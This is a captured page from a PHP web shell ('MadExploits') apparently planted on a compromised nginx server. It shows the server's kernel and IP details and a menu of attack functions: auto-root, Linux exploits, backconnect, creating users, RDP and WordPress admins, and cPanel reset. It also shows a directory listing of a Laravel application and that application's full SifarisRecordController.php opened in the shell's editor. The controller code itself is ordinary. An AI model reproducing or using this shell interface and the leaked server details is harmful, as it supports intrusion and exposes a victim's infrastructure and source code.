Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.52
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
app /
Http /
Controllers /
Admin /
[ HOME SHELL ]
Name
Size
Permission
Action
Spatie
[ DIR ]
drwxrwxr-x
AccessController.php
2.48
KB
-rw-rw-r--
AddressController.php
3.29
KB
-rw-rw-r--
AdminUserController.php
8.74
KB
-rw-rw-r--
AppUserController.php
8.02
KB
-rw-rw-r--
CategoryController.php
3.02
KB
-rw-rw-r--
DashboardController.php
8.02
KB
-rw-rw-r--
FiscalController.php
1.28
KB
-rw-rw-r--
GeneralController.php
682
B
-rw-rw-r--
LoginController.php
2.28
KB
-rw-rw-r--
OfficeController.php
1.35
KB
-rw-rw-r--
PriorityController.php
2.15
KB
-rw-rw-r--
ReportController.php
21.01
KB
-rw-rw-r--
SifarisFormController.php
1.43
KB
-rw-rw-r--
SifarisRecordController.php
26.6
KB
-rw-rw-r--
StatusController.php
2.25
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SifarisRecordController.php
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Http\Requests\SifarisReceiptRequest; use App\Http\Requests\SifarisRecordFormRequest; use App\Services\SifarisRecordService; use Helper; use Illuminate\Http\Request; use Throwable; use Illuminate\Support\Facades\Validator; use App\Helpers\NepaliNumberHelper; class SifarisRecordController extends Controller { private $service; private $helper; private $nepali_helper; public function __construct(Helper $helper, SifarisRecordService $service, NepaliNumberHelper $nepali_helper) { $this->service = $service; $this->helper = $helper; $this->nepali_helper = $nepali_helper; } public function manage() { $categories = categories(); $fiscal_years = fiscalYears(); return view('admin.sifaris_records.list', compact('categories', 'fiscal_years')); } //api to get paginated list of records public function list(Request $request) { $only = ['sort_by', 'page_size', 'current_page', 'sort_order', 'title', 'category_id', 'revenue_heading_id', 'status_id']; $filter = $this->helper->getFilterApi($request, $only); $filter['office_id'] = officeId(); $data = $this->service->list($filter); $records = $data['records']->items(); $total = $data['records']->total(); $sort_by = $data['sort_by']; $sort_order = $data['sort_order']; // dd($records[0]); return successResponse([ 'records' => $records, 'sort_by' => $sort_by, 'sort_order' => $sort_order, 'total' => $total ]); return successResponse($data); } //api to get full list of active forms public function list_forms(Request $request) { $data = $this->service->list_forms(); // dd($records[0]); return successResponse([ 'records' => $data ]); return successResponse($data); } public function new_sifaris_receipt(Request $request) { $form_id = $request->route('form_id'); $form = $this->service->get_form($form_id); if (!$form) abort(404); return view('admin.sifaris_records.new_receipt', compact('form')); } public function new_sifaris_receipt_generate(SifarisReceiptRequest $request) { $form_id = $request->route('form_id'); $form = $this->service->get_form($form_id); if (!$form) abort(404); try { $all = $request->all(); $all['office_id'] = officeId(); $all['sifaris_form_id'] = $form_id; $all['fiscal_id'] = fiscalId(); $all['fee'] = $form->fee; $all['date_ad'] = adDate(); $all['date_bs'] = bsDate(); $receipt = $this->service->generate_receipt($all); return redirect()->route('admin.sifaris.new_sifaris', $receipt->id); } catch (Throwable $e) { return redirect()->back()->withInput()->withErrors(['msg' => $e->getMessage()]); } } public function new_sifaris(Request $request) { $receipt_id = $request->route('receipt_id'); $receipt = $this->service->get_receipt($receipt_id, ['sifaris_form']); if (!$receipt) abort(404); $categories = categories(['sifaris_form_status']); $form = $receipt->sifaris_form; $json = null; if (!is_null($form->json_form_content)) { $id = $form->id; $json = json_decode($form->json_form_content, true); } return view('admin.sifaris_records.new_form', compact('form', 'id', 'categories', 'json', 'receipt')); } public function new_sifaris_add(SifarisRecordFormRequest $request) { $receipt_id = $request->route('receipt_id'); $receipt = $this->service->get_receipt($receipt_id, ['sifaris_form']); // dd($receipt); if (!$receipt) abort(404); $all = $request->all(); $all['receipt_id'] = $receipt->id; $all['form_id'] = $receipt->sifaris_form_id; $form = $receipt->sifaris_form; $all['office_id'] = officeId(); try { $form = $this->service->get_form($all['form_id']); $formData = json_decode($form->json_form_content, true); $validator = $this->jsonValidation($formData, $request); if ($validator->fails()) { $errors = $validator->errors()->all(); return redirect()->back()->withErrors($validator)->withInput(); } else { $updatedJsonData = $this->updateJson($formData, $request); } $all['json_form_content'] = $updatedJsonData; // dd($all); $this->service->add($all); return redirect()->route('admin.sifaris.manage'); } catch (Throwable $e) { return redirect()->back()->withInput()->withErrors(['msg' => $e->getMessage()]); } } public function edit_sifaris(Request $request) { $receipt_id = $request->route('receipt_id'); // $receipt = $this->service->get_receipt($receipt_id, ['sifaris', 'sifaris_form']); $receipt = $this->service->get_receipt($receipt_id, ['sifaris', 'sifaris_form']); if (!$receipt) abort(404); if($receipt->sifaris){ $model = $receipt->sifaris; }else { $model = $receipt->sifaris_form; } $categories = categories(['sifaris_form_status']); // dd($receipt); $json = null; if (!empty($model->json_form_content)) { $json = json_decode($model->json_form_content, true); } return view('admin.sifaris_records.edit_form', compact('receipt', 'model', 'categories', 'json')); } public function update_sifaris(SifarisRecordFormRequest $request) { $receipt_id = $request->route('receipt_id'); $receipt = $this->service->get_receipt($receipt_id, ['sifaris', 'sifaris_form']); if (!$receipt) abort(404); $all = $request->all(); if($receipt->sifaris){ $model = $receipt->sifaris; }else { $model = $receipt->sifaris_form; $all['receipt_id'] = $receipt_id; $all['form_id'] = $receipt->sifaris_form_id; $all['office_id'] = officeId(); } //json conversion $formData = json_decode($model->json_form_content, true); $validator = $this->jsonValidation($formData, $request); if ($validator->fails()) { return redirect()->back()->withErrors($validator)->withInput(); } else { $updatedJsonData = $this->updateJson($formData, $request); } $all['json_form_content'] = $updatedJsonData; try { if(!is_null($receipt->sifaris)){ $this->service->update_item($receipt->sifaris->id,officeId(), $all); }else { $this->service->add($all); } return redirect()->route('admin.sifaris.manage'); } catch (Throwable $e) { return redirect()->back()->withInput()->withErrors(['msg' => $e->getMessage()]); } } public function view_sifaris(Request $request) { $receipt_id = $request->route('receipt_id'); $receipt = $this->service->get_receipt($receipt_id, ['sifaris', 'sifaris_form']); if (!$receipt) abort(404); $model = $receipt->sifaris; $id = $receipt->sifaris_form->id; if (!$model) abort(404); $categories = categories(['sifaris_form_status']); $formData = null; if ($model->json_form_content) { $formData = json_decode($model->json_form_content, true); } return view('admin.sifaris_records.view_sifaris', compact('receipt', 'model', 'id', 'categories', 'formData')); } public function print_sifaris(Request $request) { $receipt_id = $request->route('receipt_id'); $receipt = $this->service->get_receipt($receipt_id, ['sifaris_form','sifaris']); if (!$receipt) abort(404); $model = $receipt->sifaris; $id = $model->id; $categories = categories(['sifaris_form_status']); $formData = null; if ($model->json_form_content) { $formData = json_decode($model->json_form_content, true); } return view('admin.sifaris_records.print', compact('model', 'id', 'categories', 'formData')); } //view receipt public function view_receipt(Request $request) { $receipt_id = $request->route('receipt_id'); $receipt = $this->service->get_receipt($receipt_id,['sifaris_form']); if (!$receipt) abort(404); return view('admin.sifaris_records.view_receipt', compact('receipt')); } //print receipt public function print_receipt(Request $request) { $receipt_id = $request->route('receipt_id'); $receipt = $this->service->get_receipt($receipt_id,['sifaris_form','sifaris']); if (!$receipt) abort(404); $qrCode = []; // $qrCode['Sifaris'] = $id; $qrCode['Receipt'] = $receipt_id; if ($receipt->sifaris) { $qrCode['sifaris'] = $receipt->sifaris->id; } $qr = json_encode($qrCode); // return $receipt->fee; $nepali_total = $this->nepali_helper->nepali_word( intval($receipt->fee)); // dd($nepali_word); return view('admin.sifaris_records.print_receipt', compact('receipt','qr','nepali_total')); } public function delete(Request $request) { $all = $request->all(); try { $this->service->delete_item($all['id'], officeId()); return successResponse(); } catch (Throwable $e) { return failureResponse($e->getMessage()); } } private function jsonValidation($formData, $request) { $validationRules = []; if (is_array($formData['preface'])) { foreach ($formData['preface'] as $item) { if ($item['type'] == 'text') { $valueCategory = $item['value_category']; $rules = []; $messages = []; if (isset($item['validation_rules'])) { foreach ($item['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } } foreach ($formData['content'] as $item) { if ($item['type'] == 'text') { $valueCategory = $item['value_category']; $rules = []; $messages = []; if (isset($item['validation_rules'])) { foreach ($item['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } if (isset($formData['content1'])) { foreach ($formData['content1'] as $item) { if ($item['type'] == 'text') { $valueCategory = $item['value_category']; $rules = []; $messages = []; if (isset($item['validation_rules'])) { foreach ($item['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } } if (isset($formData['cc'])) { foreach ($formData['cc'] as $item) { if ($item['type'] == 'text') { $valueCategory = $item['value_category']; $rules = []; $messages = []; if (isset($item['validation_rules'])) { foreach ($item['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } } if (isset($formData['list'])) { foreach ($formData['list'] as $items) { foreach($items['item'] as $item ){ if ($item['type'] == 'text') { $valueCategory = $item['value_category']; $rules = []; $messages = []; if (isset($item['validation_rules'])) { foreach ($item['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } } } if (isset($formData['table'])) { foreach ($formData['table'][0]['tr'] as $rows) { foreach ($rows['rows'] as $item) { if (isset($item['contents'])) { foreach ($item['contents'] as $contents) { if ($contents['type'] == 'text') { $valueCategory = $contents['value_category']; $rules = []; $messages = []; if (isset($contents['validation_rules'])) { foreach ($contents['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } } else { if ($item['type'] == 'text') { $valueCategory = $item['value_category']; $rules = []; $messages = []; if (isset($item['validation_rules'])) { foreach ($item['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } } } } if (isset($formData['table_new'])) { foreach ($formData['table_new'] as $key => $rows) { foreach ($rows['rows'] as $item) { if (isset($item['contents'])) { foreach ($item['contents'] as $contents) { if ($contents['type'] == 'text') { $valueCategory = $contents['value_category']; $rules = []; $messages = []; if (isset($contents['validation_rules'])) { foreach ($contents['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } } else { if ($item['type'] == 'text') { $valueCategory = $item['value_category']; $rules = []; $messages = []; if (isset($item['validation_rules'])) { foreach ($item['validation_rules'] as $rule) { $rules[] = $rule['title']; if (isset($rule['msg_title'])) { $rule['msg_title']; } else { $rule['msg_title'] = $rule['title']; } $messages[$valueCategory . "." . $rule['msg_title']] = $rule['msg']; } } // return $messages; $validationRules[$valueCategory] = $rules; $validationMessages[] = $messages; } } } } } $result = []; foreach ($validationRules as $key => $value) { if (!empty($value)) { $result[] = '"' . $key . '" => ' . json_encode($value); } } $convertedJson = implode(",\n", $result); $customMessages = []; foreach ($validationMessages as $errorMessage) { foreach ($errorMessage as $key => $value) { $ruleParts = explode(':', $key); $ruleName = $ruleParts[0]; $fieldName = str_replace('.' . $ruleName, '', $key); $customMessages[$fieldName] = $value; } } // Output the converted format // foreach ($customMessages as $fieldName => $rules) { // echo "\"$fieldName\" => \"$rules\"" . "," . PHP_EOL; // } $validator = Validator::make($request->all(), $validationRules, $customMessages); return $validator; } private function updateJson($formData, $request) { try { if (is_array($formData['preface'])) { foreach ($formData['preface'] as $key => &$field) { if ($field['type'] === 'text') { $value_category = $field['value_category']; $field['value'] = $request->$value_category; } } } foreach ($formData['content'] as $key => &$field) { if ($field['type'] === 'text') { $value_category = $field['value_category']; $field['value'] = $request->$value_category; } } if (isset($formData['documents'])) { foreach ($formData['documents'] as $key => &$field) { if ($field['title'] == 'text') { $value_category = $field['value_category']; $field['value'] = $request->$value_category; } } } if (isset($formData['table'])) { foreach ($formData['table'][0]['tr'] as $key => &$rows) { foreach ($rows['rows'] as $key => &$item) { if (isset($item['contents'])) { foreach ($item['contents'] as $key => &$contents) { if ($contents['type'] == 'text') { $value_category = $contents['value_category']; $contents['value'] = $request->$value_category; } } } else { if ($item['type'] == 'text') { $value_category = $item['value_category']; $item['value'] = $request->$value_category; } } } } } if (isset($formData['table_new'])) { foreach ($formData['table_new'] as $key => &$rows) { foreach ($rows['rows'] as $key => &$item) { if (isset($item['contents'])) { foreach ($item['contents'] as $key => &$contents) { if ($contents['type'] == 'text') { $value_category = $contents['value_category']; $contents['value'] = $request->$value_category; } } } else { if ($item['type'] == 'text') { $value_category = $item['value_category']; $item['value'] = $request->$value_category; } } } } } if (isset($formData['table1'])) { foreach ($formData['table1'][0]['tr'] as $key => &$rows) { foreach ($rows['rows'] as $key => &$item) { if (isset($item['contents'])) { foreach ($item['contents'] as $key => &$contents) { if ($contents['type'] == 'text') { $value_category = $contents['value_category']; $contents['value'] = $request->$value_category; } } } else { if ($item['type'] == 'text') { $value_category = $item['value_category']; $item['value'] = $request->$value_category; } } } } } if (isset($formData['content1'])) { foreach ($formData['content1'] as $key => &$field) { if ($field['type'] === 'text') { $value_category = $field['value_category']; $field['value'] = $request->$value_category; } } } if (isset($formData['cc'])) { foreach ($formData['cc'] as $key => &$field) { if ($field['type'] === 'text') { $value_category = $field['value_category']; $field['value'] = $request->$value_category; } } } if (isset($formData['list'])) { foreach ($formData['list'] as $key => &$items) { foreach ($items['item'] as $key => &$field) { if ($field['type'] === 'text') { $value_category = $field['value_category']; $field['value'] = $request->$value_category; } } } } $updatedJsonData = json_encode($formData, JSON_UNESCAPED_UNICODE); return $updatedJsonData; } catch (\Exception $e) { return $e; return redirect()->back()->withErrors($e)->withInput(); } } }
Close